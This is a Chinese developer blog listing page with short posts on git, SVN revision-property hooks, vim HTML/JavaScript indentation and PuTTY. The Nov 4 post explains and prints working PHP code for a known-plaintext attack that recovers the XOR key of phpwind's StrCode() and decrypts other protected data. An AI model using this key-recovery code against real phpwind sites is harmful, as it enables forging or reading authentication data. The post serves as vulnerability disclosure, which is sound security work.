分页: 10/29 第一页 上页 5 6 7 8 9 10 11 12 13 14 下页 最后页 [ 显示模式: 摘要 | 列表 ]
Nov 11
一直以来很多人都在讨论git的强大.但一直忙于正常的开发,所以没时间去研究这个版本管理系统.

Nov 4
今天从 @HorseLuke 里看到一个 phpcms 2008的sys_auth()函数的漏洞,现在已经更正了.而他的加密方法与phpwind的StrCode()几乎同出一彻,虽然有少许不同,但还是能很容易被破解出来.只要有一个你知道被加密的内容且超过18个字节长的内容即可破解出全部pw的加密内容.
下面是破解的方法:

<?php
$string='abcdefghijklmnopqrstuvwsyzABCDEFGHIJKLMNOPQRSTUVWSYZ123456789012';
$code=StrCode($string,'ENCODE');
$key =substr(pw_decode($code,$string),0,18);//获取最后用于加密的钥匙
var_dump(pw_decode(StrCode("timestamp\t",'ENCODE'),$key));//得到密钥后,尝试破解其它的加密内容.

/**
* 破解方法
* @param string $code 加密过后的内容
* @param string $string 原始内容
* @return 返回解密内容
**/
function pw_decode($code,$string){
  $txt = base64_decode($code);
    $len    = strlen($string);
    $key    = '';
  $txt_len=strlen($txt);
    for($i=0; $i<$txt_len; $i++){
        $k        = $i % $len;
        $key .= chr(ord($txt[$i]) ^ ord($string[$k]));
    }
    return substr($key,0,18);
}
/**
* 加密、解密字符串
*
* @global string $db_hash
* @global array $pwServer
* @param $string 待处理字符串
* @param $action 操作,ENCODE|DECODE
* @return string
*/
function StrCode($string, $action = 'ENCODE') {
  $action != 'ENCODE' && $string = base64_decode($string);
  $code = '';
  $key = substr(md5('123456'), 8, 18);
  debug(TaString::ordstring($key,'|'));

  $keyLen = strlen($key);
  $strLen = strlen($string);
  for ($i = 0; $i < $strLen; $i++) {
    $k = $i % $keyLen;
    $code .= $string[$i] ^ $key[$k];
  }
  return ($action != 'DECODE' ? base64_encode($code) : $code);
}
?>


破解原来源自: http://www.80vul.com/phpcms/phpcms_sys_auth.txt
Aug 3
有些时候提交了内容后,对于备注感觉不是写得太好.需要修改备注.但系Svn 的服务默认没有开启该功能.如果使用TortoiseSVN 尝试修改备注(在show log的备注栏中右键就可以看到编辑的功能)可能会出现以下错误:

Repository has not been enabled to accept revision propchanges;
ask the administrator to create a pre-revprop-change hook

解决的方法如下:

在Unix/Linux平台上,在库的hooks目录下,复制pre-revprop-change.tmpl成pre-revprop-change。

cp pre-revprop-change.tmpl pre-revprop-change

Tags: , ,
Jul 30
使用vim默认的格式化工具容易在格式化html与javascript混合的代码时很容易出现javascript没有按预想的规则显示代码.
所以推荐使用
http://www.vim.org/scripts/script.php?script_id=3081
只需要将indent下的文件放入vim安装目录下 vimfiles/indent
重启vim使用"=G"命令就可以对html与javascript混合的代码进行格式化.
Tags:
Jul 27
随着Linux在服务器端应用的普及,Linux系统管理越来越依赖于远程。在各种远程登录工具中,Putty是出色的工具之一。

Putty是一个免费的、Windows 32平台下的telnet、rlogin和ssh客户端,但是功能丝毫不逊色于商业的telnet类工具。用它来远程管理Linux十分好用,其主要优点如下:

◆ 完全免费
◆ 在Windows 9x/NT/2000下运行的都非常好
◆ 全面支持ssh1和ssh2
◆ 绿色软件,无需安装,下载后在桌面建个快捷方式即可使用
◆ 体积很小,仅364KB (0.54 beta版本)
◆ 操作简单,所有的操作都在一个控制面板中实现

使用简介:
把Putty下载到机器上,双击putty.exe,就出现如图1的配置界面。选择“Session”,在“Host Name(or IP address)”输入框中输入欲访问的主机名或IP,比如server1或192.168.9.4。端口号(Port)根据使用的协议有所区别,ssh默认使用22,telnet默认使用23,rlogin默认使用513。在“Protocol”单选栏中选择使用的协议,一般是telnet或ssh,这取决于服务器提供的服务。在“Saved Session”输入栏中输入任务的名字,单击“Save”按钮,就可以把任务配置保存起来了。
分页: 10/29 第一页 上页 5 6 7 8 9 10 11 12 13 14 下页 最后页 [ 显示模式: 摘要 | 列表 ]